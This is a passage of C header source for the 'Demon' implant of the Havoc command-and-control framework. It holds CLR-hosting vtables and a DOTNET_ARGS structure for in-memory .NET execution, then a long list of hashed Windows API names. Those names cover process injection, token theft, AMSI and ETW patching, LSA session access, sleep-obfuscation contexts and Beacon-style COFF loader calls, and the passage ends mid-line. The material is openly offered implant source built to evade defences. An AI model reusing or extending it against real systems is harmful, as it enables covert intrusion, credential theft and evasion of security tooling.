DUMMY_METHOD(GetMembers_2); DUMMY_METHOD(Attributes); DUMMY_METHOD(IsNotPublic); DUMMY_METHOD(IsPublic); DUMMY_METHOD(IsNestedPublic); DUMMY_METHOD(IsNestedPrivate); DUMMY_METHOD(IsNestedFamily); DUMMY_METHOD(IsNestedAssembly); DUMMY_METHOD(IsNestedFamANDAssem); DUMMY_METHOD(IsNestedFamORAssem); DUMMY_METHOD(IsAutoLayout); DUMMY_METHOD(IsLayoutSequential); DUMMY_METHOD(IsExplicitLayout); DUMMY_METHOD(IsClass); DUMMY_METHOD(IsInterface); DUMMY_METHOD(IsValueType); DUMMY_METHOD(IsAbstract); DUMMY_METHOD(IsSealed); DUMMY_METHOD(IsEnum); DUMMY_METHOD(IsSpecialName); DUMMY_METHOD(IsImport); DUMMY_METHOD(IsSerializable); DUMMY_METHOD(IsAnsiClass); DUMMY_METHOD(IsUnicodeClass); DUMMY_METHOD(IsAutoClass); DUMMY_METHOD(IsArray); DUMMY_METHOD(IsByRef); DUMMY_METHOD(IsPointer); DUMMY_METHOD(IsPrimitive); DUMMY_METHOD(IsCOMObject); DUMMY_METHOD(HasElementType); DUMMY_METHOD(IsContextful); DUMMY_METHOD(IsMarshalByRef); DUMMY_METHOD(Equals_2); END_INTERFACE } TypeVtbl; typedef struct ICLRRuntimeInfoVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( ICLRRuntimeInfo* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( ICLRRuntimeInfo* This); ULONG(STDMETHODCALLTYPE* Release)( ICLRRuntimeInfo* This); HRESULT(STDMETHODCALLTYPE* GetVersionString)( ICLRRuntimeInfo* This, /* [size_is][out] */ LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)( ICLRRuntimeInfo* This, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* IsLoaded)( ICLRRuntimeInfo* This, /* [in] */ HANDLE hndProcess, /* [retval][out] */ BOOL* pbLoaded); HRESULT(STDMETHODCALLTYPE* LoadErrorString)( ICLRRuntimeInfo* This, /* [in] */ UINT iResourceID, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer, /* [lcid][in] */ LONG iLocaleID); HRESULT(STDMETHODCALLTYPE* LoadLibrary)( ICLRRuntimeInfo* This, /* [in] */ LPCWSTR pwzDllName, /* [retval][out] */ HMODULE* phndModule); HRESULT(STDMETHODCALLTYPE* GetProcAddress)( ICLRRuntimeInfo* This, /* [in] */ LPCSTR pszProcName, /* [retval][out] */ LPVOID* ppProc); HRESULT(STDMETHODCALLTYPE* GetInterface)( ICLRRuntimeInfo* This, /* [in] */ REFCLSID rclsid, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppUnk); HRESULT(STDMETHODCALLTYPE* IsLoadable)( ICLRRuntimeInfo* This, /* [retval][out] */ BOOL* pbLoadable); HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)( ICLRRuntimeInfo* This, /* [in] */ DWORD dwStartupFlags, /* [in] */ LPCWSTR pwzHostConfigFile); HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)( ICLRRuntimeInfo* This, /* [out] */ DWORD* pdwStartupFlags, /* [size_is][out] */ LPWSTR pwzHostConfigFile, /* [out][in] */ DWORD* pcchHostConfigFile); HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)( ICLRRuntimeInfo* This); HRESULT(STDMETHODCALLTYPE* IsStarted)( ICLRRuntimeInfo* This, /* [out] */ BOOL* pbStarted, /* [out] */ DWORD* pdwStartupFlags); END_INTERFACE } ICLRRuntimeInfoVtbl; typedef struct _ICLRRuntimeInfo { ICLRRuntimeInfoVtbl* lpVtbl; } ICLRRuntimeInfo; typedef struct _Type { TypeVtbl* lpVtbl; } Type; typedef struct ICLRMetaHostVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( ICLRMetaHost* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( ICLRMetaHost* This); ULONG(STDMETHODCALLTYPE* Release)( ICLRMetaHost* This); HRESULT(STDMETHODCALLTYPE* GetRuntime)( ICLRMetaHost* This, /* [in] */ LPCWSTR pwzVersion, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppRuntime); HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)( ICLRMetaHost* This, /* [in] */ LPCWSTR pwzFilePath, /* [size_is][out] */ __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, /* [out][in] */ DWORD* pcchBuffer); HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)( ICLRMetaHost* This, /* [retval][out] */ IEnumUnknown** ppEnumerator); HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)( ICLRMetaHost* This, /* [in] */ HANDLE hndProcess, /* [retval][out] */ IEnumUnknown** ppEnumerator); HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)( ICLRMetaHost* This, /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction); HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)( ICLRMetaHost* This, /* [in] */ REFIID riid, /* [retval][iid_is][out] */ LPVOID* ppUnk); HRESULT(STDMETHODCALLTYPE* ExitProcess)( ICLRMetaHost* This, /* [in] */ INT32 iExitCode); END_INTERFACE } ICLRMetaHostVtbl; typedef struct _ICLRMetaHost { ICLRMetaHostVtbl* lpVtbl; } ICLRMetaHost; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This) typedef struct _MethodInfoVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( IMethodInfo* This, /* [in] */ REFIID riid, /* [iid_is][out] */ __RPC__deref_out void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( IMethodInfo* This); ULONG(STDMETHODCALLTYPE* Release)( IMethodInfo* This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(MemberType); DUMMY_METHOD(name); DUMMY_METHOD(DeclaringType); DUMMY_METHOD(ReflectedType); DUMMY_METHOD(GetCustomAttributes); DUMMY_METHOD(GetCustomAttributes_2); DUMMY_METHOD(IsDefined); HRESULT(STDMETHODCALLTYPE* GetParameters)( IMethodInfo* This, SAFEARRAY** pRetVal); DUMMY_METHOD(GetMethodImplementationFlags); DUMMY_METHOD(MethodHandle); DUMMY_METHOD(Attributes); DUMMY_METHOD(CallingConvention); DUMMY_METHOD(Invoke_2); DUMMY_METHOD(IsPublic); DUMMY_METHOD(IsPrivate); DUMMY_METHOD(IsFamily); DUMMY_METHOD(IsAssembly); DUMMY_METHOD(IsFamilyAndAssembly); DUMMY_METHOD(IsFamilyOrAssembly); DUMMY_METHOD(IsStatic); DUMMY_METHOD(IsFinal); DUMMY_METHOD(IsVirtual); DUMMY_METHOD(IsHideBySig); DUMMY_METHOD(IsAbstract); DUMMY_METHOD(IsSpecialName); DUMMY_METHOD(IsConstructor); HRESULT(STDMETHODCALLTYPE* Invoke_3)( IMethodInfo* This, VARIANT obj, SAFEARRAY* parameters, VARIANT* ret); DUMMY_METHOD(returnType); DUMMY_METHOD(ReturnTypeCustomAttributes); DUMMY_METHOD(GetBaseDefinition); END_INTERFACE } MethodInfoVtbl; typedef struct _MethodInfo { MethodInfoVtbl* lpVtbl; } MethodInfo, *PMethodInfo; typedef struct _DOTNET_ARGS { /* The random task id associated with the requested DOTNET exec */ UINT32 RequestID; /* Buffers */ BUFFER PipeName; BUFFER AppDomainName; BUFFER NetVersion; BUFFER Output; /* Handles */ HANDLE Pipe; HANDLE File; HANDLE StdOut; HANDLE Thread; HANDLE Event; HANDLE Exit; /* Argument Array */ UNICODE_STRING ArgumentArray; /* Some Assembly Variables. */ SAFEARRAY* SafeArray; SAFEARRAY* MethodArgs; /* Clr variables */ PICLRMetaHost MetaHost; PICLRRuntimeInfo ClrRuntimeInfo; PICorRuntimeHost ICorRuntimeHost; PAssembly Assembly; PIUnknown AppDomainThunk; PAppDomain AppDomain; PMethodInfo MethodInfo; /* Variants */ VARIANT vtPsa; VARIANT Return; /* Successful invoked ? */ BOOL Invoked; /* Contexts */ PCONTEXT RopInit; PCONTEXT RopInvk; PCONTEXT RopEvnt; PCONTEXT RopExit; } DOTNET_ARGS, *PDOTNET_ARGS; #define DEMOn_CLR_ERROR_REFUSE_VERSION 0x1 DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost* ppClrMetaHost, PICLRRuntimeInfo* ppClrRuntimeInfo, ICorRuntimeHost** ppICorRuntimeHost ); BOOL FindVersion( PVOID Assembly, DWORD length ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/common/Defines.h000066400000000000000000000512571467014221700246200ustar00rootroot00000000000000#ifndef DEMON_STRINGS_H #define DEMON_STRINGS_H #define PROCESS_ARCH_UNKNOWN 0 #define PROCESS_ARCH_X86 1 #define PROCESS_ARCH_X64 2 #define PROCESS_ARCH_IA64 3 #ifdef _WIN64 #define PROCESS_AGENT_ARCH PROCESS_ARCH_X64 #else #define PROCESS_AGENT_ARCH PROCESS_ARCH_X86 #endif #define DEMON_MAGIC_VALUE 0xDEADBEEF #define WIN_VERSION_UNKNOWN 0 #define WIN_VERSION_XP 1 #define WIN_VERSION_VISTA 2 #define WIN_VERSION_2008 3 #define WIN_VERSION_7 4 #define WIN_VERSION_2008_R2 5 #define WIN_VERSION_2008_R2 6 #define WIN_VERSION_2012 7 #define WIN_VERSION_8 8 #define WIN_VERSION_8_1 8.1 #define WIN_VERSION_2012_R2 9 #define WIN_VERSION_10 10 #define WIN_VERSION_2016_X 11 #define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 ) #define LDR_GADGET_HEADER_SIZE ( 0x1000 ) #define PROXYLOAD_NONE 0 #define PROXYLOAD_RTLREGISTERWAIT 1 #define PROXYLOAD_RTLCREATETIMER 2 #define PROXYLOAD_RTLQUEUEWORKITEM 3 #define AMSIETW_PATCH_NONE 0 #define AMSIETW_PATCH_HWBP 1 #define AMSIETW_PATCH_MEMORY 2 /* Win32 Functions */ #define H_FUNC_LDRLOADDLL 0x9e456a43 #define H_FUNC_LDRGETPROCEDUREADDRESS 0xfce76bb6 #define H_FUNC_NTADDBOOTENTRY 0x8cfcc776 #define H_FUNC_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define H_FUNC_NTFREEVIRTUALMEMORY 0x2802c609 #define H_FUNC_NTUNMAPVIEWOFSECTION 0x6aa412cd #define H_FUNC_NTWRITEVIRTUALMEMORY 0xc3170192 #define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY 0x946ac239 #define H_FUNC_NTQUERYVIRTUALMEMORY 0x10c0e85d #define H_FUNC_NTOPENPROCESSTOKEN 0x350dca99 #define H_FUNC_NTOPENTHREADTOKEN 0x803347d2 #define H_FUNC_NTQUERYOBJECT 0xc85dc9b4 #define H_FUNC_NTTRACEEVENT 0x70c25cd8 #define H_FUNC_NTOPENPROCESS 0x4b82f718 #define H_FUNC_NTTERMINATEPROCESS 0x4ed9dd4f #define H_FUNC_NTOPENTHREAD 0x968e0cb1 #define H_FUNC_NTOPENTHREADTOKEN 0x803347d2 #define H_FUNC_NTSETCONTEXTTHREAD 0xffa0bf10 #define H_FUNC_NTGETCONTEXTTHREAD 0x6d22f884 #define H_FUNC_NTCLOSE 0x40d6e69d #define H_FUNC_NTCONTINUE 0xfc3a6c2c #define H_FUNC_NTSETEVENT 0xcb87d8b5 #define H_FUNC_NTCREATEEVENT 0x28d3233d #define H_FUNC_NTWAITFORSINGLEOBJECT 0xe8ac0c3c #define H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed #define H_FUNC_NTGETNEXTTHREAD 0xa410fb9e #define H_FUNC_NTRESUMETHREAD 0x5a4bc3d0 #define H_FUNC_NTSUSPENDTHREAD 0xe43d93e1 #define H_FUNC_NTDUPLICATEOBJECT 0x4441d859 #define H_FUNC_NTQUERYINFORMATIONTHREAD 0xf5a0461b #define H_FUNC_NTCREATETHREADEX 0xaf18cfb0 #define H_FUNC_NTQUEUEAPCTHREAD 0xa6664b8 #define H_FUNC_NTQUERYSYSTEMINFORMATION 0x7bc23928 #define H_FUNC_NTQUERYINFORMATIONTOKEN 0xf371fe4 #define H_FUNC_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 #define H_FUNC_NTSETINFORMATIONTHREAD 0xc3c03f1 #define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY 0x946ac239 #define H_FUNC_NTPROTECTVIRTUALMEMORY 0x50e92888 #define H_FUNC_NTREADVIRTUALMEMORY 0xa3288103 #define H_FUNC_NTFREEVIRTUALMEMORY 0x2802c609 #define H_FUNC_NTTERMINATETHREAD 0xccf58808 #define H_FUNC_NTWRITEVIRTUALMEMORY 0xc3170192 #define H_FUNC_NTDUPLICATETOKEN 0x8e160b23 #define H_FUNC_NTALERTRESUMETHREAD 0x5ba11e28 #define H_FUNC_NTTESTALERT 0x858a32df #define H_FUNC_RTLALLOCATEHEAP 0x3be94c5a #define H_FUNC_RTLREALLOCATEHEAP 0xaf740371 #define H_FUNC_RTLFREEHEAP 0x73a9e4d7 #define H_FUNC_RTLEXITUSERPROCESS 0x57c72f #define H_FUNC_RTLRANDOMEX 0x7f1224f5 #define H_FUNC_RTLRANDOMEX 0x7f1224f5 #define H_FUNC_RTLNTSTATUSTODOSERROR 0x39d7c890 #define H_FUNC_RTLGETVERSION 0xdde5cdd #define H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER 0x2df06c89 #define H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER 0xad1b018e #define H_FUNC_RTLCREATETIMERQUEUE 0x50ef3c31 #define H_FUNC_RTLDELETETIMERQUEUE 0xeec188b0 #define H_FUNC_RTLCREATETIMER 0x1877faec #define H_FUNC_RTLQUEUEWORKITEM 0xae92028e #define H_FUNC_RTLREGISTERWAIT 0x600fe691 #define H_FUNC_RTLCAPTURECONTEXT 0xeba8d910 #define H_FUNC_RTLCOPYMAPPEDMEMORY 0x5b56b302 #define H_FUNC_RTLFILLMEMORY 0x89ab5f57 #define H_FUNC_RTLEXITUSERTHREAD 0x2f6db5e8 #define H_FUNC_RTLSUBAUTHORITYSID 0x90ed208a #define H_FUNC_RTLSUBAUTHORITYCOUNTSID 0x4b23c9d3 #define H_FUNC_LOADLIBRARYW 0xb7072ff1 #define H_FUNC_GETCOMPUTERNAMEEXA 0xec725c53 #define H_FUNC_WAITFORSINGLEOBJECTEX 0x512e1b97 #define H_FUNC_VIRTUALPROTECT 0xe857500d #define H_FUNC_GETMODULEHANDLEA 0xd908e1d8 #define H_FUNC_GETPROCADDRESS 0xdecfc1bf #define H_FUNC_GETCURRENTDIRECTORYW 0x3d54a9f4 #define H_FUNC_FINDFIRSTFILEW 0xf67b31a5 #define H_FUNC_FINDNEXTFILEW 0x3626633c #define H_FUNC_FINDCLOSE 0x42ade43c #define H_FUNC_FILETIMETOSYSTEMTIME 0x7a047cab #define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME 0x77b0aa6a #define H_FUNC_OUTPUTDEBUGSTRINGA 0x490fc1d5 #define H_FUNC_DEBUGBREAK 0xd08caa91 #define H_FUNC_SYSTEMFUNCTION032 0xe58c8805 #define H_FUNC_LOOKUPACCOUNTSIDW 0xd51fdfa3 #define H_FUNC_LOGONUSEREXW 0x6ba383b7 #define H_FUNC_VSNPRINTF 0xe212f2ef #define H_FUNC_GETADAPTERSINFO 0x37cada45 #define H_FUNC_WINHTTPOPEN 0x613eace5 #define H_FUNC_WINHTTPCONNECT 0x81e0c81d #define H_FUNC_WINHTTPOPENREQUEST 0xb06d900e #define H_FUNC_WINHTTPSETOPTION 0x5b6ad378 #define H_FUNC_WINHTTPSENDREQUEST 0x7739d0e6 #define H_FUNC_WINHTTPRECEIVERESPONSE 0xae351ae5 #define H_FUNC_WINHTTPADDREQUESTHEADERS 0xa2c0b0e1 #define H_FUNC_WINHTTPREADDATA 0x75064b89 #define H_FUNC_WINHTTPQUERYHEADERS 0xcc1a89c5 #define H_FUNC_WINHTTPCLOSEHANDLE 0xa7355f15 #define H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER 0x28197a2 #define H_FUNC_WINHTTPGETPROXYFORURL 0xa2cf3c6f #define H_FUNC_VIRTUALPROTECTEX 0x5b6b908a #define H_FUNC_LOCALALLOC 0x72073b5b #define H_FUNC_LOCALREALLOC 0x1c44e892 #define H_FUNC_LOCALFREE 0x32030e92 #define H_FUNC_CREATEREMOTETHREAD 0x252b157d #define H_FUNC_CREATETOOLHELP32SNAPSHOT 0xf37ac035 #define H_FUNC_PROCESS32FIRSTW 0xb06fa1a8 #define H_FUNC_PROCESS32NEXTW 0x43f6e75f #define H_FUNC_CREATEPIPE 0x9694e9e7 #define H_FUNC_CREATEPROCESSW 0xfbaf90cf #define H_FUNC_CREATEFILEW 0x687d2110 #define H_FUNC_GETFULLPATHNAMEW 0xa6a2249d #define H_FUNC_GETFILESIZE 0x7b813820 #define H_FUNC_GETFILESIZEEX 0x60afc95d #define H_FUNC_CREATENAMEDPIPEW 0xa05e2a83 #define H_FUNC_CONVERTFIBERTOTHREAD 0x11b30049 #define H_FUNC_CREATEFIBEREX 0x7b94a3fe #define H_FUNC_READFILE 0x84d15061 #define H_FUNC_VIRTUALALLOCEX 0x5775bd54 #define H_FUNC_WAITFORSINGLEOBJECTEX 0x512e1b97 #define H_FUNC_GETCOMPUTERNAMEEXA 0xec725c53 #define H_FUNC_EXITPROCESS 0xd154167e #define H_FUNC_GETEXITCODEPROCESS 0xa7c5fd39 #define H_FUNC_GETEXITCODETHREAD 0x538852b2 #define H_FUNC_CONVERTTHREADTOFIBEREX 0xd139cc66 #define H_FUNC_SWITCHTOFIBER 0x14fc3cc2 #define H_FUNC_DELETEFIBER 0x99beb7a0 #define H_FUNC_ALLOCCONSOLE 0x3c2fba83 #define H_FUNC_FREECONSOLE 0xa4e66f3a #define H_FUNC_GETCONSOLEWINDOW 0xc2c4270 #define H_FUNC_GETSTDHANDLE 0x9ab85b1c #define H_FUNC_SETSTDHANDLE 0xe620bba8 #define H_FUNC_WAITNAMEDPIPEW 0x50ac3c84 #define H_FUNC_PEEKNAMEDPIPE 0xd5312e5d #define H_FUNC_DISCONNECTNAMEDPIPE 0x342bd542 #define H_FUNC_WRITEFILE 0xf1d207d0 #define H_FUNC_CONNECTNAMEDPIPE 0x436e4c62 #define H_FUNC_FREELIBRARY 0x4ad9b11c #define H_FUNC_GETCURRENTDIRECTORYW 0x3d54a9f4 #define H_FUNC_GETFILEATTRIBUTESW 0xf30aab23 #define H_FUNC_FINDFIRSTFILEW 0xf67b31a5 #define H_FUNC_FINDNEXTFILEW 0x3626633c #define H_FUNC_FINDCLOSE 0x42ade43c #define H_FUNC_FILETIMETOSYSTEMTIME 0x7a047cab #define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME 0x77b0aa6a #define H_FUNC_REMOVEDIRECTORYW 0xb6af709f #define H_FUNC_DELETEFILEW 0x99bee22f #define H_FUNC_CREATEDIRECTORYW 0xb717be65 #define H_FUNC_COPYFILEW 0x39e8f317 #define H_FUNC_MOVEFILEEXW 0xd356ecf0 #define H_FUNC_SETCURRENTDIRECTORYW 0xcf2ad680 #define H_FUNC_WOW64DISABLEWOW64FSREDIRECTION 0x40750b38 #define H_FUNC_WOW64REVERTWOW64FSREDIRECTION 0xc993b9c #define H_FUNC_GETMODULEHANDLEA 0xd908e1d8 #define H_FUNC_GETSYSTEMTIMEASFILETIME 0x7a14b61c #define H_FUNC_GETLOCALTIME 0x71842fbf #define H_FUNC_DUPLICATEHANDLE 0x95f45a6c #define H_FUNC_ATTACHCONSOLE 0x3f9eed0d #define H_FUNC_WRITECONSOLEA 0x271da464 #define H_FUNC_TERMINATEPROCESS 0xf3c179ad #define H_FUNC_VIRTUALPROTECT 0xe857500d #define H_FUNC_GETTOKENINFORMATION 0x10357d2c #define H_FUNC_CREATEPROCESSWITHTOKENW 0xf3e5480c #define H_FUNC_CREATEPROCESSWITHLOGONW 0xe139fc0a #define H_FUNC_REVERTTOSELF 0x7292758a #define H_FUNC_GETUSERNAMEA 0xfca17e46 #define H_FUNC_LOGONUSERW 0x5ed5d61a #define H_FUNC_LOOKUPACCOUNTSIDA 0xd51fdf8d #define H_FUNC_LOOKUPACCOUNTSIDW 0xd51fdfa3 #define H_FUNC_OPENTHREADTOKEN 0xe249d070 #define H_FUNC_OPENPROCESSTOKEN 0xd9f566f7 #define H_FUNC_ADJUSTTOKENPRIVILEGES 0x677fbb8b #define H_FUNC_LOOKUPPRIVILEGENAMEA 0x843a85e8 #define H_FUNC_SYSTEMFUNCTION032 0xe58c8805 #define H_FUNC_FREESID 0xd47b1967 #define H_FUNC_SETSECURITYDESCRIPTORSACL 0x5c0cc90b #define H_FUNC_SETSECURITYDESCRIPTORDACL 0x5c048f5c #define H_FUNC_INITIALIZESECURITYDESCRIPTOR 0x31e175ce #define H_FUNC_ADDMANDATORYACE 0x9fb18806 #define H_FUNC_INITIALIZEACL 0x136c4367 #define H_FUNC_ALLOCATEANDINITIALIZESID 0xa9174a4f #define H_FUNC_CHECKTOKENMEMBERSHIP 0x1cf324d0 #define H_FUNC_SETENTRIESINACLW 0xd396389 #define H_FUNC_SETTHREADTOKEN 0xc9f4966a #define H_FUNC_LSANTSTATUSTOWINERROR 0x9d5beb66 #define H_FUNC_EQUALSID 0x4fa8b17d #define H_FUNC_CONVERTSIDTOSTRINGSIDW 0x2fb2f7d7 #define H_FUNC_GETSIDSUBAUTHORITYCOUNT 0xd4c0dda1 #define H_FUNC_GETSIDSUBAUTHORITY 0xe5d12f8 #define H_FUNC_LOOKUPPRIVILEGEVALUEA 0x1e344064 #define H_FUNC_SAFEARRAYACCESSDATA 0xf6a0d34f #define H_FUNC_SAFEARRAYUNACCESSDATA 0xe981b312 #define H_FUNC_SAFEARRAYCREATE 0x53ec8017 #define H_FUNC_SAFEARRAYPUTELEMENT 0x311f586 #define H_FUNC_SAFEARRAYCREATEVECTOR 0x6b6a636a #define H_FUNC_SAFEARRAYDESTROY 0x12b6aed #define H_FUNC_SYSALLOCSTRING 0x3351eb46 #define H_FUNC_COMMANDLINETOARGVW 0xec6ba0d6 #define H_FUNC_SHOWWINDOW 0x29bbc91e #define H_FUNC_GETSYSTEMMETRICS 0x287c6401 #define H_FUNC_GETDC 0xd2b106c #define H_FUNC_RELEASEDC 0x6fbc050d #define H_FUNC_GETCURRENTOBJECT 0xfe6f663f #define H_FUNC_GETOBJECTW 0xa04fbb33 #define H_FUNC_CREATECOMPATIBLEDC 0xd0b24920 #define H_FUNC_CREATEDIBSECTION 0x2c2309dd #define H_FUNC_SELECTOBJECT 0x96a6b43c #define H_FUNC_BITBLT 0xa72badc6 #define H_FUNC_DELETEOBJECT 0xe619cf2f #define H_FUNC_DELETEDC 0xb2fa1ebf #define H_FUNC_SETPROCESSVALIDCALLTARGETS 0x647d9236 #define H_FUNC_CLRCREATEINSTANCE 0x2303b88f #define H_FUNC_GETADAPTERSINFO 0x37cada45 #define H_FUNC_NETLOCALGROUPENUM 0x910ca519 #define H_FUNC_NETGROUPENUM 0x11254b4e #define H_FUNC_NETUSERENUM 0xeb3b8f20 #define H_FUNC_NETWKSTAUSERENUM 0x6bec8d0a #define H_FUNC_NETSESSIONENUM 0xf155c7e5 #define H_FUNC_NETSHAREENUM 0xef26c94 #define H_FUNC_NETAPIBUFFERFREE 0x694e2662 #define H_FUNC_WSASTARTUP 0x142e89c3 #define H_FUNC_WSACLEANUP 0x32206eb8 #define H_FUNC_WSASOCKETA 0x8a4d8fa #define H_FUNC_WSAGETLASTERROR 0x9c1d912e #define H_FUNC_IOCTLSOCKET 0xd5e978a9 #define H_FUNC_BIND 0x7c828162 #define H_FUNC_LISTEN 0xbe7f0354 #define H_FUNC_ACCEPT 0xa460acf5 #define H_FUNC_CLOSESOCKET 0x185953a4 #define H_FUNC_RECV 0x7c8b3515 #define H_FUNC_SEND 0x7c8bc2cf #define H_FUNC_CONNECT 0xe73478ef #define H_FUNC_GETADDRINFO 0x4b91706c #define H_FUNC_FREEADDRINFO 0x307204e #define H_FUNC_LSAREGISTERLOGONPROCESS 0xd8f30a28 #define H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE 0x876cc00b #define H_FUNC_LSADEREGISTERLOGONPROCESS 0x8aba5ef1 #define H_FUNC_LSACONNECTUNTRUSTED 0x1da98b7d #define H_FUNC_LSAFREERETURNBUFFER 0x916b1321 #define H_FUNC_LSACALLAUTHENTICATIONPACKAGE 0x6d1a042d #define H_FUNC_LSAGETLOGONSESSIONDATA 0x1c698f42 #define H_FUNC_LSAENUMERATELOGONSESSIONS 0xbca01141 #define H_FUNC_SLEEP 0xe07cd7e #define H_FUNC_CREATETHREAD 0x98baab11 #define H_FUNC_AMSISCANBUFFER 0xbab3d02e #define H_FUNC_GLOBALFREE 0x47886698 #define H_FUNC_SWPRINTF_S 0x481aa3d4 // Beacon API #define H_COFFAPI_BEACONDATAPARSER 0xe2494ba2 #define H_COFFAPI_BEACONDATAINT 0xaf1afdd2 #define H_COFFAPI_BEACONDATASHORT 0xe2835ef7 #define H_COFFAPI_BEACONDATALENGTH 0x22641d29 #define H_COFFAPI_BEACONDATAEXTRACT 0x80d46722 #define H_COFFAPI_BEACONFORMATALLOC 0x4caae0e1 #define H_COFFAPI_BEACONFORMATRESET 0x4ddac759 #define H_COFFAPI_BEACONFORMATFREE 0x7e749f38 #define H_COFFAPI_BEACONFORMATAPPEND 0xe25167ce #define H_COFFAPI_BEACONFORMATPRINTF 0x056f4aa9 #define H_COFFAPI_BEACONFORMATTOSTRING 0xb59f4df0 #define H_COFFAPI_BEACONFORMATINT 0x3a229cc1 #define H_COFFAPI_BEACONPRINTF 0x700d8660 #define H_COFFAPI_BEACONOUTPUT 0x6df4b81e #define H_COFFAPI_BEACONUSETOKEN 0x889e48bb #define H_COFFAPI_BEACONREVERTTOKEN 0xf2744ba6 #define H_COFFAPI_BEACONISADMIN 0x566264d2 #define H_COFFAPI_BEACONGETSPAWNTO 0x1e7c9fb9 #define H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS 0xd6c57438 #define H_COFFAPI_BEACONINJECTPROCESS 0x0ea75b09 #define H_COFFAPI_BEACONINJECTTEMPORARYPROCESS 0x9e22498c #define H_COFFAPI_BEACONCLEANUPPROCESS 0xcee62b74 #define H_COFFAPI_BEACONINFORMATION 0x49f62013 #define H_COFFAPI_BEACONADDVALUE 0x8e977933 #define H_COFFAPI_BEACONGETVALUE 0x8a6f3d4a #define H_COFFAPI_BEACONREMOVEVALUE 0x25aebef8 #define H_COFFAPI_BEACONDATASTOREGETITEM 0x66ac0703 #define H_COFFAPI_BEACONDATASTOREPROTECTITEM 0x224ee8c4 #define H_COFFAPI_BEACONDATASTOREUNPROTECTITEM 0x2f2a6567 #define H_COFFAPI_BEACONDATASTOREMAXENTRIES 0xb1855534 #define H_COFFAPI_BEACONGETCUSTOMUSERDATA 0xc15ec8e1 #define H_COFFAPI_TOWIDECHAR 0x59fcf3cf #define H_COFFAPI_LOADLIBRARYA 0x5fbff0fb #define H_COFFAPI_GETPROCADDRESS 0xcf31bb1f #define H_COFFAPI_GETMODULEHANDLE 0x5a153f58 #define H_COFFAPI_FREELIBRARY 0x30eece3c #define H_COFFAPI_LOCALFREE 0xa66df372 #define H_COFFAPI_NTOPENTHREAD 0xfb8a31d1 #define H_COFFAPI_NTOPENPROCESS 0x5003c058 #define H_COFFAPI_NTTERMINATEPROCESS 0x1703ab2f #define H_COFFAPI_NTOPENTHREADTOKEN 0xfc45b972 #define H_COFFAPI_NTOPENPROCESSTOKEN 0x7bd07459 #define H_COFFAPI_NTDUPLICATETOKEN 0x3000ecc3 #define H_COFFAPI_NTQUEUEAPCTHREAD 0xd4612238 #define H_COFFAPI_NTSUSPENDTHREAD 0x50febd61 #define H_COFFAPI_NTRESUMETHREAD 0x2c7b3d30 #define H_COFFAPI_NTCREATEEVENT 0xca58747d #define H_COFFAPI_NTCREATETHREADEX 0xcb0c2130 #define H_COFFAPI_NTDUPLICATEOBJECT 0x2388ee19 #define H_COFFAPI_NTGETCONTEXTTHREAD 0x9e0e1a44 #define H_COFFAPI_NTSETCONTEXTTHREAD 0x308be0d0 #define H_COFFAPI_NTQUERYINFORMATIONPROCESS 0xd034fc62 #define H_COFFAPI_NTQUERYSYSTEMINFORMATION 0xee4f73a8 #define H_COFFAPI_NTWAITFORSINGLEOBJECT 0x4c6dc63c #define H_COFFAPI_NTALLOCATEVIRTUALMEMORY 0x6793c34c #define H_COFFAPI_NTWRITEVIRTUALMEMORY 0x95f3a792 #define H_COFFAPI_NTFREEVIRTUALMEMORY 0x471aa7e9 #define H_COFFAPI_NTUNMAPVIEWOFSECTION 0x595014ad #define H_COFFAPI_NTPROTECTVIRTUALMEMORY 0x082962c8 #define 